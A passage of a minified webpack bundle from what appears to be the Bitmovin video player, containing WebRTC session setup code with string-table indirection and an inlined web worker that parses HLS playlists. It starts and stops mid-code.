e[r[113]]?n:new e[r[113]](o[r[112]][r[179]],{error:n},r[219]);s[r[16]][r[101]][r[114]](t)};this[r[220]]=function(){s[r[16]][r[108]][r[107]](r[224][r[116]](s[r[222]][r[221]],r[223]));r[225]===s[r[222]][r[221]]&&s[r[209]]&&s[r[226]]()[r[119]](s[r[217]])};this[r[211]]=function(){s[r[16]][r[108]][r[107]](r[227]);s[r[209]]&&s[r[226]]()[r[119]](s[r[217]])};this[r[228]]=function(n){return Promise[r[67]](new e[r[113]](o[r[112]][r[229]],{status:n[r[230]],statusText:n[r[231]],body:n[r[232]]}))};this[r[233]]=u[r[205]];this[r[222]]=t;this[r[126]](t)}return n[r[10]][r[234]]=function(n){n[r[163]](r[214],this[r[213]]);n[r[163]](r[235],this[r[220]])},n[r[10]][r[236]]=function(n){n[r[167]](r[214],this[r[213]]);n[r[167]](r[235],this[r[220]])},n[r[10]][r[126]]=function(n){this[r[236]](this[r[222]]);this[r[234]](n);this[r[222]]=n},n[r[10]][r[120]]=function(){return this[r[237]]()},n[r[10]][r[238]]=function(){clearTimeout(this[r[210]])},n[r[10]][r[239]]=function(){var n=this;return this[r[244]]()[r[144]](function(t){return n[r[222]][r[243]]({type:r[242],sdp:t})})[r[144]](function(){return n[r[222]][r[241]]()})[r[144]](function(t){return n[r[222]][r[240]](t)})[r[144]](this[r[208]])},n[r[10]][r[245]]=function(){var n=this;return this[r[222]][r[247]](r[42],{direction:r[246]}),this[r[222]][r[247]](r[248],{direction:r[246]}),this[r[222]][r[249]]()[r[144]](function(t){return n[r[222]][r[240]](t)})[r[144]](this[r[208]])},n[r[10]][r[237]]=function(){return this[r[238]](),this[r[233]]===u[r[205]]?this[r[245]]():this[r[239]]()},n[r[10]][r[226]]=function(){return this[r[238]](),this[r[209]]=!1,this[r[233]]===u[r[205]]?this[r[250]]():this[r[251]]()},n[r[10]][r[252]]=function(n,t,i){return new h[r[255]](this[r[16]],{requestType:i})[r[168]](this[r[172]],n,f[r[254]][r[253]],t,c)},n[r[10]][r[244]]=function(){var n=this;return this[r[233]]!==u[r[206]]?Promise[r[69]](r[256]):this[r[252]](f[r[263]][r[262]],r[256],f[r[265]][r[264]])[r[144]](function(t){var i,u,f,e;return n[r[257]]=null!==(e=null!==(u=null===(i=t[r[258]])||void 0===i?void 0:i[r[259]])&&void 0!==u?u:null===(f=t[r[258]])||void 0===f?void 0:f[r[260]])&&void 0!==e?e:r[256],n[r[16]][r[108]][r[107]](r[261],n[r[257]]),String(t[r[232]])})[r[119]](this[r[228]])},n[r[10]][r[251]]=function(){var n,i=this,t;return this[r[233]]!==u[r[206]]?Promise[r[69]]():(t=this[r[222]][r[266]],this[r[252]](f[r[263]][r[268]],null!==(n=null==t?void 0:t[r[269]])&&void 0!==n?n:r[256],f[r[265]][r[270]])[r[144]](function(n){return i[r[16]][r[108]][r[107]](r[267][r[116]](n[r[230]]))})[r[119]](this[r[228]]))},n[r[10]][r[250]]=function(){var t,n=this,i;return this[r[233]]!==u[r[205]]?Promise[r[69]]():(i=this[r[222]][r[266]],this[r[252]](f[r[263]][r[262]],null!==(t=null==i?void 0:i[r[269]])&&void 0!==t?t:r[256],f[r[265]][r[276]])[r[144]](function(t){var i,f,e,o;return r[169]==typeof t[r[232]]?(n[r[257]]=null!==(o=null!==(f=null===(i=t[r[258]])||void 0===i?void 0:i[r[259]])&&void 0!==f?f:null===(e=t[r[258]])||void 0===e?void 0:e[r[260]])&&void 0!==o?o:r[256],n[r[16]][r[108]][r[107]](r[272][r[116]](n[r[257]],r[271])),n[r[222]][r[243]]({type:r[273],sdp:t[r[232]]})):(400===t[r[230]]?(n[r[16]][r[108]][r[107]](r[274]),n[r[233]]=u[r[206]],n[r[207]]()):n[r[16]][r[108]][r[107]](r[275][r[116]](t[r[230]])),Promise[r[69]]())})[r[119]](this[r[228]]))},n[r[10]][r[180]]=function(){this[r[236]](this[r[222]])},n}();t[r[181]]=s}},function(n){return n(n[r[277]]=60480)}])};r[279]==typeof t&&"object"==r[279]?n[r[280]]=f():"function"==r[281]&&i.amdD[r[282]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[279]==typeof t?t[r[283]]=f():(u[r[284]]=u[r[284]]||{},u[r[284]][r[285]]=u[r[284]][r[285]]||{},u[r[284]][r[285]][r[283]]=f())},146:function(n){self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[458],{80211:function(n,t,i){n.exports=function(){return i(90040)('!function(){"use strict";var e={367:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.ArrayIncludesPolyfill=void 0,t.ArrayIncludesPolyfill=function(){return{polyfill:function(){Object.defineProperty(Array.prototype,"includes",{value:function(e,t){if(null==this)throw new TypeError(\'"this" is null or not defined\');var a=Object(this),n=a.length>>>0;if(0===n)return!1;var r=0|t,i=Math.max(r>=0?r:n-Math.abs(r),0);function o(e,t){return e===t||"number"==typeof e&&"number"==typeof t&&isNaN(e)&&isNaN(t)}for(;i<n;){if(o(a[i],e))return!0;i++}return!1}})}}}()},338:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.StringEndsWithPolyfill=void 0,t.StringEndsWithPolyfill=function(){return{polyfill:function(){String.prototype.endsWith=function(e,t){if(null==e)return!1;var a=this.length;return null!=t&&(a=Math.min(t,this.length)),this.substring(a-e.length,a)===e}}}}()},801:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.StringIncludesPolyfill=void 0,t.StringIncludesPolyfill=function(){return{polyfill:function(){String.prototype.includes=function(e,t){return"number"!=typeof t&&(t=0),!(t+e.length>this.length)&&-1!==this.indexOf(e,t)}}}}()},921:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.StringStartsWithPolyfill=void 0,t.StringStartsWithPolyfill=function(){return{polyfill:function(){String.prototype.startsWith=function(e,t){var a=t>0?0|t:0;return this.substring(a,a+e.length)===e}}}}()},510:function(e,t){var a,n,r,i,o;Object.defineProperty(t,"__esModule",{value:!0}),t.LatencyMode=t.AdInteractionType=t.AdQuartile=t.MetadataType=t.PlayerEvent=void 0,function(e){e.Ready="ready",e.Play="play",e.Playing="playing",e.Paused="paused",e.Seek="seek",e.Seeked="seeked",e.TimeShift="timeshift",e.TimeShifted="timeshifted",e.VolumeChanged="volumechanged",e.Muted="muted",e.Unmuted="unmuted",e.PlayerResized="playerresized",e.PlaybackFinished="playbackfinished",e.Error="error",e.Warning="warning",e.StallStarted="stallstarted",e.StallEnded="stallended",e.AudioChanged="audiochanged",e.AudioAdded="audioadded",e.AudioRemoved="audioremoved",e.VideoQualityChanged="videoqualitychanged",e.AudioQualityChanged="audioqualitychanged",e.VideoDownloadQualityChange="videodownloadqualitychange",e.AudioDownloadQualityChange="audiodownloadqualitychange",e.VideoDownloadQualityChanged="videodownloadqualitychanged",e.AudioDownloadQualityChanged="audiodownloadqualitychanged",e.VideoPlaybackQualityChanged="videoplaybackqualitychanged",e.AudioPlaybackQualityChanged="audioplaybackqualitychanged",e.TimeChanged="timechanged",e.CueParsed="cueparsed",e.CueEnter="cueenter",e.CueUpdate="cueupdate",e.CueExit="cueexit",e.SegmentPlayback="segmentplayback",e.Metadata="metadata",e.MetadataParsed="metadataparsed",e.MetadataChanged="metadatachanged",e.VideoAdaptation="videoadaptation",e.AudioAdaptation="audioadaptation",e.DownloadFinished="downloadfinished",e.SegmentRequestFinished="segmentrequestfinished",e.AdManifestLoaded="admanifestloaded",e.AdStarted="adstarted",e.OverlayAdStarted="overlayadstarted",e.AdQuartile="adquartile",e.AdSkipped="adskipped",e.AdClicked="adclicked",e.AdInteraction="adinteraction",e.AdLinearityChanged="adlinearitychanged",e.AdBreakStarted="adbreakstarted",e.AdBreakFinished="adbreakfinished",e.AdFinished="adfinished",e.AdError="aderror",e.VRViewingDirectionChange="vrviewingdirectionchange",e.VRViewingDirectionChanged="vrviewingdirectionchanged",e.VRStereoChanged="vrstereochanged",e.CastAvailable="castavailable",e.CastStopped="caststopped",e.CastStart="caststart",e.CastStarted="caststarted",e.CastWaitingForDevice="castwaitingfordevice",e.SourceLoaded="sourceloaded",e.SourceUnloaded="sourceunloaded",e.PeriodSwitch="periodswitch",e.PeriodSwitched="periodswitched",e.DVRWindowExceeded="dvrwindowexceeded",e.SubtitleAdded="subtitleadded",e.SubtitleRemoved="subtitleremoved",e.ShowAirplayTargetPicker="showairplaytargetpicker",e.AirplayAvailable="airplayavailable",e.AirplayChanged="airplaychanged",e.Destroy="destroy",e.PlaybackSpeedChanged="playbackspeedchanged",e.DurationChanged="durationchanged",e.ViewModeChanged="viewmodechanged",e.ModuleReady="moduleready",e.SubtitleEnable="subtitleenable",e.SubtitleEnabled="subtitleenabled",e.SubtitleDisable="subtitledisable",e.SubtitleDisabled="subtitledisabled",e.VideoQualityAdded="videoqualityadded",e.VideoQualityRemoved="videoqualityremoved",e.AudioQualityAdded="audioqualityadded",e.AudioQualityRemoved="audioqualityremoved",e.TargetLatencyChanged="targetlatencychanged",e.LatencyModeChanged="latencymodechanged",e.LicenseValidated="licensevalidated",e.DrmLicenseAdded="drmlicenseadded",e.AspectRatioChanged="aspectratiochanged"}(a||(t.PlayerEvent=a={})),function(e){e.CUETAG="CUETAG",e.DATERANGE="DATERANGE",e.EVENT_STREAM="EVENT-STREAM",e.CUSTOM="CUSTOM",e.SCTE="SCTE",e.ID3="ID3",e.EMSG="EMSG",e.CAST="CAST"}(n||(t.MetadataType=n={})),function(e){e.FIRST_QUARTILE="firstQuartile",e.MIDPOINT="midpoint",e.THIRD_QUARTILE="thirdQuartile"}(r||(t.AdQuartile=r={})),function(e){e.Vpaid="vpaid"}(i||(t.AdInteractionType=i={})),function(e){e.Idle="idle",e.Catchup="catchup",e.Fallback="fallback",e.Suspended="suspended"}(o||(t.LatencyMode=o={}))},397:function(e,t){function a(e){return e.split("-").map((function(e,t){return 0===t?e.toLowerCase():e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()})).join("")}function n(e){return e?(" "+e).slice(1):""}Object.defineProperty(t,"__esModule",{value:!0}),t.forceReallocation=t.kebabCaseToCamelCase=void 0,t.kebabCaseToCamelCase=a,t.forceReallocation=n},93:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.FormatHelper=void 0;var a=function(){function e(){}return e.hexToBytes=function(e){var t=e.length;1&t&&(e="0"+e,t++);for(var a=new Uint8Array(t>>1),n=0;n<t;n+=2)a[n>>1]=parseInt(e.substr(n,2),16);return a},e.bytesToHex=function(e){e instanceof ArrayBuffer&&(e=new Uint8Array(e));for(var t="",a=0;a<e.byteLength;a++){var n=(255&e[a]).toString(16);n.length<2&&(t+="0"),t+=n}return t},e.bytesToUUID=function(e){return this.beautifyUUID(this.bytesToHex(e))},e.beautifyUUID=function(e){return e.slice(0,8)+"-"+e.slice(8,12)+"-"+e.slice(12,16)+"-"+e.slice(16,20)+"-"+e.slice(20)},e.intToHex=function(e){return("00"+e.toString(16)).substr(-2)},e.base64UrlEncode=function(e){return window.btoa(e).replace(/\\+/g,"-").replace(/\\//g,"_").replace(/=/g,"")},e.base64UrlDecode=function(e){return window.atob((e+"===".slice((e.length+3)%4)).replace(/-/g,"+").replace(/_/g,"/"))},e}();t.FormatHelper=a},715:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.MessageHandler=void 0;var a=function(){function e(e,t){this.runsInWebWorker=e,this.postMessageFunction=t}return e}();t.MessageHandler=a},697:function(e,t,a){Object.defineProperty(t,"__esModule",{value:!0}),t.WebWorkerContext=void 0;var n=a(469),r=function(){function e(e){var t=this;this.runsInWebWorker="undefined"==typeof window,this.onmessage=null,this.sendMessage=function(e,a){t.runsInWebWorker?postMessage(e,a):"function"==typeof t.onmessage&&setTimeout((function(){t.onmessage({data:e})}),0)},this.postMessage=function(e){setTimeout((function(){t.onMessageCallback({data:e})}),0)},this.terminate=function(){},this.onMessageCallback=function(e){e.data.action&&e.data&&t.messageHandler[e.data.action]&&t.messageHandler[e.data.action](e.data)},this.runsInWebWorker&&(0,n.installWorkerPolyfills)(),this.messageHandler=new e(this.runsInWebWorker,this.sendMessage)}return e}();t.WebWorkerContext=r},794:function(e,t,a){var n=this&&this.__extends||function(){var e=function(t,a){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var a in t)Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a])},e(t,a)};return function(t,a){if("function"!=typeof a&&null!==a)throw new TypeError("Class extends value "+String(a)+" is not a constructor or null");function n(){this.constructor=t}e(t,a),t.prototype=null===a?Object.create(a):(n.prototype=a.prototype,new n)}}();Object.defineProperty(t,"__esModule",{value:!0}),t.HlsParserWebworkerMessageHandler=t.getContext=void 0;var r=a(715),i=a(697),o=a(692),s=null;function u(){var e=new i.WebWorkerContext(d);return onmessage=e.onMessageCallback,e}function l(){return s||u()}t.getContext=l;var d=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.parseHlsPlaylist=function(e){try{var t=(0,o.parsePlaylist)(e.payload.data);this.postMessageFunction({action:"parsedPlaylist",data:t})}catch(e){this.postMessageFunction({action:"error",data:e.message})}},t}(r.MessageHandler);t.HlsParserWebworkerMessageHandler=d,"undefined"==typeof window&&(s=u())},967:function(e,t,a){var n=this&&this.__assign||function(){return n=Object.assign||function(e){for(var t,a=1,n=arguments.length;a<n;a++)for(var r in t=arguments[a])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},n.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0}),t.generateCustomTag=t.generateMapTag=t.generateByteRangeTag=t.generateKeyTag=t.generateDateRange=t.generateCueTag=t.generateSegmentEntrySkeleton=t.generateIFrameStreamInfTag=t.generateSessionKeyTag=t.generateVariantPlaylistId=t.generateStreamInfTag=t.generateStartAttributes=t.generateRendition=void 0;var r=a(510),i=a(397),o=a(93);function s(e){var t,a,r;return{name:e.name,attributes:n(n({},e.attributes),{TYPE:null===(t=e.attributes)||void 0===t?void 0:t.TYPE,"GROUP-ID":null===(a=e.attributes)||void 0===a?void 0:a["GROUP-ID"],NAME:null===(r=e.attributes)||void 0===r?void 0:r.NAME})}}function u(e){var t,a;return(null===(t=e.attributes)||void 0===t?void 0:t.hasOwnProperty("TIME-OFFSET"))&&(a={timeOffset:Number(e.attributes["TIME-OFFSET"]),precise:"YES"===e.attributes.PRECISE}),e.attributes&&a&&a.hasOwnProperty("timeOffset")&&(e.attributes["TIME-OFFSET"]=a.timeOffset,e.attributes.PRECISE=a.precise),a}function l(e,t){var a,r,i,o,s,u={name:e.name,uri:t,attributes:n(n({},e.attributes),{BANDWIDTH:null===(a=e.attributes)||void 0===a?void 0:a.BANDWIDTH})};return(null===(r=e.attributes)||void 0===r?void 0:r.RESOLUTION)&&(u.attributes.RESOLUTION=E(e)),(null===(i=e.attributes)||void 0===i?void 0:i.BANDWIDTH)&&(u.attributes.BANDWIDTH=parseInt(e.attributes.BANDWIDTH)),(null===(o=e.attributes)||void 0===o?void 0:o["AVERAGE-BANDWIDTH"])&&(u.attributes["AVERAGE-BANDWIDTH"]=parseInt(e.attributes["AVERAGE-BANDWIDTH"])),(null===(s=e.attributes)||void 0===s?void 0:s["PROGRAM-ID"])&&(u.attributes["PROGRAM-ID"]=parseInt(e.attributes["PROGRAM-ID"])),u.id=d(u.attributes),u}function d(e){var t="";return e.RESOLUTION&&(t+=e.RESOLUTION.height+"_"),t+=e.BANDWIDTH}function c(e){h(e)}function g(e){var t,a,n;(null===(t=e.attributes)||void 0===t?void 0:t.BANDWIDTH)&&(e.attributes.BANDWIDTH=parseInt(e.attributes.BANDWIDTH)),(null===(a=e.attributes)||void 0===a?void 0:a["AVERAGE-BANDWIDTH"])&&(e.attributes["AVERAGE-BANDWIDTH"]=parseInt(e.attributes["AVERAGE-BANDWIDTH"],10)),(null===(n=e.attributes)||void 0===n?void 0:n.RESOLUTION)&&(e.attributes.RESOLUTION=E(e))}function f(){return{uri:"",duration:0}}function p(e,t){var a={type:t};if(e.attributes){var n=[];for(var r in e.attributes)if(e.attributes.hasOwnProperty(r)){var i=e.attributes[r]?"".concat(r,"=").concat(e.attributes[r]):r;n.push(i)}a.attributes=n}return a}function T(e){var t={type:r.MetadataType.DATERANGE};if(e.attributes){t.clientAttributes={};var a=e.attributes;for(var n in a)if(a.hasOwnProperty(n))if(n.startsWith("X-")){var o=2;t.clientAttributes[(0,i.kebabCaseToCamelCase)(n.substring(o))]=a[n]}else t[(0,i.kebabCaseToCamelCase)(n)]=a[n]}return t.duration&&(t.duration=Number(t.duration)),t.plannedDuration&&(t.plannedDuration=Number(t.plannedDuration)),t.endOnNext&&(t.endOnNext=!0),t}function v(e){if(h(e),e.attributes&&"NONE"!==e.attributes.METHOD&&e.attributes.URI){var t={method:(0,i.forceReallocation)(e.attributes.METHOD)||"AES-128",uri:(0,i.forceReallocation)(e.attributes.URI)};return void 0!==e.attributes.IV&&(t.iv=e.attributes.IV),e.attributes.KEYFORMAT&&(t.keyformat=(0,i.forceReallocation)(e.attributes.KEYFORMAT)),e.attributes.KEYFORMATVERSIONS&&(t.keyformatversions=(0,i.forceReallocation)(e.attributes.KEYFORMATVERSIONS)),e.attributes.KEYID&&(t.keyid=(0,i.forceReallocation)(e.attributes.KEYID)),t}}function y(e){if(e.value){var t=e.value.split("@"),a=t[0],n=t[1],r={length:parseInt(a||"0")};return n&&(r.offset=parseInt(n)),r}}function b(e){var t,a;if(null===(t=e.attributes)||void 0===t?void 0:t.URI){var n={url:(0,i.forceReallocation)(e.attributes.URI)};if(null===(a=e.attributes)||void 0===a?void 0:a.BYTERANGE){var r=e.attributes.BYTERANGE.split("@"),o=r[0],s=r[1];n.byteRange={start:parseInt(s),end:parseInt(s)+parseInt(o)-1}}return n}}function h(e){var t;if(null===(t=e.attributes)||void 0===t?void 0:t.IV){e.attributes.IV=e.attributes.IV.toLowerCase();var a=2;"0x"===e.attributes.IV.substring(0,a)&&(e.attributes.IV=e.attributes.IV.substring(a)),e.attributes.IV=new Uint8Array(o.FormatHelper.hexToBytes(e.attributes.IV)).buffer}}function E(e){var t,a={width:0,height:0},n=null===(t=e.attributes)||void 0===t?void 0:t.RESOLUTION.split("x");return n[0]&&(a.width=parseInt(n[0])),n[1]&&(a.height=parseInt(n[1])),a}t.generateRendition=s,t.generateStartAttributes=u,t.generateStreamInfTag=l,t.generateVariantPlaylistId=d,t.generateSessionKeyTag=c,t.generateIFrameStreamInfTag=g,t.generateSegmentEntrySkeleton=f,t.generateCueTag=p,t.generateDateRange=T,t.generateKeyTag=v,t.generateByteRangeTag=y,t.generateMapTag=b;var A=/(?:^|,)((?:[^=]*)=(?:"[^"]*"|[^,]*))/,S=/([^=]*)=(.*)/,I=/^[\'"](.*)[\'"]$/,m=/^[\'"](.*)[\'"]$/g,C=/^([^:="]*)([:=])?(.*)$/;function O(e){try{e=(0,i.forceReallocation)(e);var t=/^#([^:=]*)([:=])?(.*)$/.exec(e);if(!(null==t?void 0:t[1]))return;var a={name:t[1]},n="";if("="===t[2]&&t[3])n=t[3];else if(":"===t[2]&&t[3]){var r=C.exec(t[3]);r&&"="===r[2]&&r[3]?a.attributes=M(t[3]):n=t[3]}return n&&(a.value=n.replace(m,"$1")),a}catch(e){return}}function M(e){for(var t=e.split(A),a=t.length,n={};a--;)if(""!==t[a]){var r=S.exec(t[a]);if(r){var i=r.slice(1),o=i[0],s=i[1];n[o.trim()]=s.trim().replace(I,"$1")}}return n}t.generateCustomTag=O},485:function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.TextParser=void 0;var a=/[ \\t]+/gm,n=function(){function e(e){this.data=e,this.position=0}return e.prototype.isAtEnd=function(){return this.position===this.data.length},e.prototype.skipWhitespace=function(){this.readRegex(a)},e.prototype.readRegex=function(e){var t=this.indexOf(e);if(!this.isAtEnd()&&void 0!==t&&t.position===this.position)return this.position+=t.length,t.results},e.prototype.indexOf=function(e){e.lastIndex=this.position;var t=e.exec(this.data);if(null!==t)return{position:t.index,length:t[0].length,results:t}},e}();t.TextParser=n},692:function(e,t,a){Object.defineProperty(t,"__esModule",{value:!0}),t.parsePlaylist=void 0;var n,r=a(461),i=a(600),o=a(877),s=a(967),u=/\\r\\n|\\r(?=[^\\n]|$)/gm,l=/^#EXTM3U($|[ \\t\\n])/m;function d(e){var t=-1===e.indexOf("#EXTINF")?n.Master:n.Media,a=e.replace(u,"\\n").trim().split(/\\n+/m),d=(0,r.removeTrailingWhitespaces)(a[0]);if(!l.test(d))throw new Error("Playlist parsing failed: missing #EXTM3U tag");if(t===n.Media)return(0,o.parseVariant)(a);for(var g,f=[],p=[],T=[],v=1,y=!0,b=!1,h=!0,E=0;E<a.length;E++){var A=(0,r.removeTrailingWhitespaces)(a[E]),S=a[E+1];if((0,r.isCustomTag)(A))c(f,A);else if(h)h=!1;else{var I=(0,i.parseTag)(A);switch(I.name){case"EXT-X-STREAM-INF":T.push((0,s.generateStreamInfTag)(I,(0,r.removeTrailingWhitespaces)(S))),h=!0;break;case"EXT-X-MEDIA":var m=(0,s.generateRendition)(I);p.push(m),f.push(m);break;case"EXT-X-VERSION":v=Number(I.value);break;case"EXT-X-START":g=(0,s.generateStartAttributes)(I),f.push(I);break;case"EXT-X-ALLOW-CACHE":y="YES"===I.value||void 0===I.value;break;case"EXT-X-INDEPENDENT-SEGMENTS":b=!0,f.push(I);break;case"EXT-X-I-FRAME-STREAM-INF":(0,s.generateIFrameStreamInfTag)(I),f.push(I);break;case"EXT-X-SESSION-DATA":default:f.push(I);break;case"EXT-X-SESSION-KEY":(0,s.generateSessionKeyTag)(I),f.push(I)}}}var C={version:v,allowCache:y,independentSegments:b,hasM3u:!0,media:p,playlists:T,tags:f=f.concat(T)};return g&&(C.start=g),C}function c(e,t){var a=(0,s.generateCustomTag)(t);a&&e.push(a)}!function(e){e.Master="master",e.Media="media"}(n||(n={})),t.parsePlaylist=d},461:function(e,t,a){var n=this&&this.__assign||function(){return n=Object.assign||function(e){for(var t,a=1,n=arguments.length;a<n;a++)for(var r in t=arguments[a])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},n.apply(this,arguments)},r=this&&this.__spreadArray||function(e,t,a){if(a||2===arguments.length)for(var n,r=0,i=t.length;r<i;r++)!n&&r in t||(n||(n=Array.prototype.slice.call(t,0,r)),n[r]=t[r]);return e.concat(n||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0}),t.isCustomTag=t.removeTrailingWhitespaces=t.handleCustomTag=t.addCustomTagToPlaylistTagList=t.parseSegments=void 0;var i=a(510),o=a(600),s=a(877),u=a(967);function l(e,t,a){for(var n,i,l,d=[],h=0,E=(0,u.generateSegmentEntrySkeleton)(),A=r([],t,!0),S=0,I={keys:[],keyInUse:!1},m=function(e){h+=e,E=(0,u.generateSegmentEntrySkeleton)(),A=[]},C=0,O=e;C<O.length;C++){var M=y(O[C]);if(""!==M)if(M.startsWith("#"))if(b(M))c(a,A,M);else{var R=(0,o.parseTag)(M);switch(R.name){case"EXTINF":S=parseFloat(null!==(n=R.value)&&void 0!==n?n:"0");break;case"EXT-X-BYTERANGE":E.byterange=(0,u.generateByteRangeTag)(R);break;case"EXT-X-DISCONTINUITY":E.discontinuity=!0;break;case"EXT-X-PROGRAM-DATE-TIME":p(E,R);break;case"EXT-X-KEY":if("NONE"===(null===(i=R.attributes)||void 0===i?void 0:i.METHOD)){I.keys=[];break}f(R,I);break;case"EXT-X-MAP":l=(0,u.generateMapTag)(R);break;case"EXT-X-DATERANGE":T(E,R);break;case"EXT-X-CUE-OUT-CONT":E.cueTag=(0,u.generateCueTag)(R,"CUE-OUT-CONT");break;case"EXT-X-CUE-OUT":E.cueTag=(0,u.generateCueTag)(R,"CUE-OUT");break;case"EXT-X-CUE-IN":E.cueTag=(0,u.generateCueTag)(R,"CUE-IN");break;case"EXT-X-SCTE35":v(E,R);break;case"EXT-X-ENDLIST":a.endList=!0;break;default:(0,s.resolvePlaylistTag)(a,R,A)}}else g(E,S,M,l,I,d,A),m(S)}a.segments=d,a.totalDuration=h}function d(e,t){void 0===e.tags&&(e.tags=[]),t&&e.tags.push(t)}function c(e,t,a){t.push({type:i.MetadataType.CUSTOM,attributes:a}),d(e,(0,u.generateCustomTag)(a))}function g(e,t,a,n,i,o,s){e.duration=t,e.uri=y(a),n&&(e.init=n),s.length>0&&(e.customTags=s),i.keys.length>0&&(e.keys=r([],i.keys,!0),i.keyInUse=!0),o.push(e)}function f(e,t){t.keyInUse&&(t.keys=[],t.keyInUse=!1);var a=(0,u.generateKeyTag)(e);void 0!==a&&t.keys.push(a)}function p(e,t){t.value&&(e.dateTime=new Date(t.value))}function T(e,t){void 0===e.dateRange&&(e.dateRange=[]),e.dateRange.push((0,u.generateDateRange)(t))}function v(e,t){var a;void 0===e.scte35&&(e.scte35=[]),e.scte35.push({type:i.MetadataType.SCTE,attributes:n({CUE:null===(a=t.attributes)||void 0===a?void 0:a.CUE},t.attributes)})}function y(e){return e.replace(/^[ \\t]+/g,"")}function b(e){return/^#(?!EXT)/m.test(e)}t.parseSegments=l,t.addCustomTagToPlaylistTagList=d,t.handleCustomTag=c,t.removeTrailingWhitespaces=y,t.isCustomTag=b},600:function(e,t,a){Object.defineProperty(t,"__esModule",{value:!0}),t.parseTag=void 0;var n=a(485),r=/^#(EXT[^:]*)(?::(.*))?$/,i=/^([^,=]+)(?:,|$)/g,o=/([^=]+)=*(?:"([^"]*)"|([^",]*))(?:,|$)/g;function s(e){var t=r.exec(e);if(!t)throw new Error("Invalid tag "+e);var a,s=t[1],u=t[2],l={};if(u){var d=new n.TextParser(u),c=void 0,g=d.readRegex(i);for(g&&(a=g[1]);c=d.readRegex(o);){var f=c[1],p=c[2]||c[3];if(f.includes(",")){var T=f.split(","),v=T[0];f=T[1].trim(),l[v]=void 0}l[f]=p,d.skipWhitespace()}}return{name:s,attributes:l,value:a}}t.parseTag=s},877:function(e,t,a){var n=this&&this.__assign||function(){return n=Object.assign||function(e){for(var t,a=1,n=arguments.length;a<n;a++)for(var r in t=arguments[a])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},n.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0}),t.resolvePlaylistTag=t.parseVariant=t.SEGMENT_TAGS=void 0;var r=a(510),i=a(461),o=a(600),s=a(967);function u(e){for(var a={version:1,allowCache:!0,hasM3u:!0,endList:!1,segments:[],targetDuration:0,totalDuration:0},n=[],r=0;r<e.length;r++){var s=(0,i.removeTrailingWhitespaces)(e[r]);if(""!==s)if((0,i.isCustomTag)(s))(0,i.handleCustomTag)(a,n,s);else{var u=(0,o.parseTag)(s);if(t.SEGMENT_TAGS.includes(u.name))return(0,i.parseSegments)(e.slice(r),n,a),l(a),a;d(a,u,n)}}return l(a),a}function l(e){var t;"EVENT"===e.playlistType&&(e.discontinuitySequence=null!==(t=e.discontinuitySequence)&&void 0!==t?t:0)}function d(e,t,a){switch(t.name){case"EXT-X-VERSION":e.version=Number(t.value);break;case"EXT-X-START":e.start=(0,s.generateStartAttributes)(t);break;case"EXT-X-INDEPENDENT-SEGMENTS":e.independentSegments=!0;break;case"EXT-X-TARGETDURATION":t.value&&(e.targetDuration=parseInt(t.value));break;case"EXT-X-MEDIA-SEQUENCE":t.value&&(e.mediaSequence=parseInt(t.value));break;case"EXT-X-DISCONTINUITY-SEQUENCE":t.value&&(e.discontinuitySequence=parseInt(t.value));break;case"EXT-X-PLAYLIST-TYPE":e.playlistType="EVENT"===t.value?"EVENT":"VOD";break;case"EXT-X-ALLOW-CACHE":e.allowCache="NO"!==t.value;break;case"EXTM3U":break;default:a.push(n({type:r.MetadataType.CUSTOM},t)),(0,i.addCustomTagToPlaylistTagList)(e,t)}}t.SEGMENT_TAGS=["EXTINF","EXT-X-BYTERANGE","EXT-X-DISCONTINUITY","EXT-X-PROGRAM-DATE-TIME","EXT-X-KEY","EXT-X-GAP","EXT-X-BITRATE","EXT-X-PART","EXT-X-DATERANGE","EXT-X-MAP","EXT-X-CUE-OUT-CONT","EXT-X-CUE-OUT","EXT-X-CUE-IN","EXT-X-SCTE35","EXT-X-DATERANGE"],t.parseVariant=u,t.resolvePlaylistTag=d},469:function(e,t,a){Object.defineProperty(t,"__esModule",{value:!0}),t.installWorkerPolyfills=void 0;var n=a(367),r=a(338),i=a(801),o=a(921);function s(){Array.prototype.includes||n.ArrayIncludesPolyfill.polyfill(),String.prototype.includes||i.StringIncludesPolyfill.polyfill(),String.prototype.startsWith||o.StringStartsWithPolyfill.polyfill(),String.prototype.endsWith||r.StringEndsWithPolyfill.polyfill()}t.installWorkerPolyfills=s}},t={};function a(n){var r=t[n];if(void 0!==r)return r.exports;var i=t[n]={exports:{}};return e[n].call(i.exports,i,i.exports,a),i.exports}a(794)}();',i.p+"386abdb08e03ef34a637.worker.js")}},3864:function(n,t,i){"use strict";var f=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),h,c;Object.defineProperty(t,"__esModule",{value:!0});t.HlsUtils=t.ParseStream=void 0;var e=i(62510),r=i(91397),s=i(56093),o=function(){var 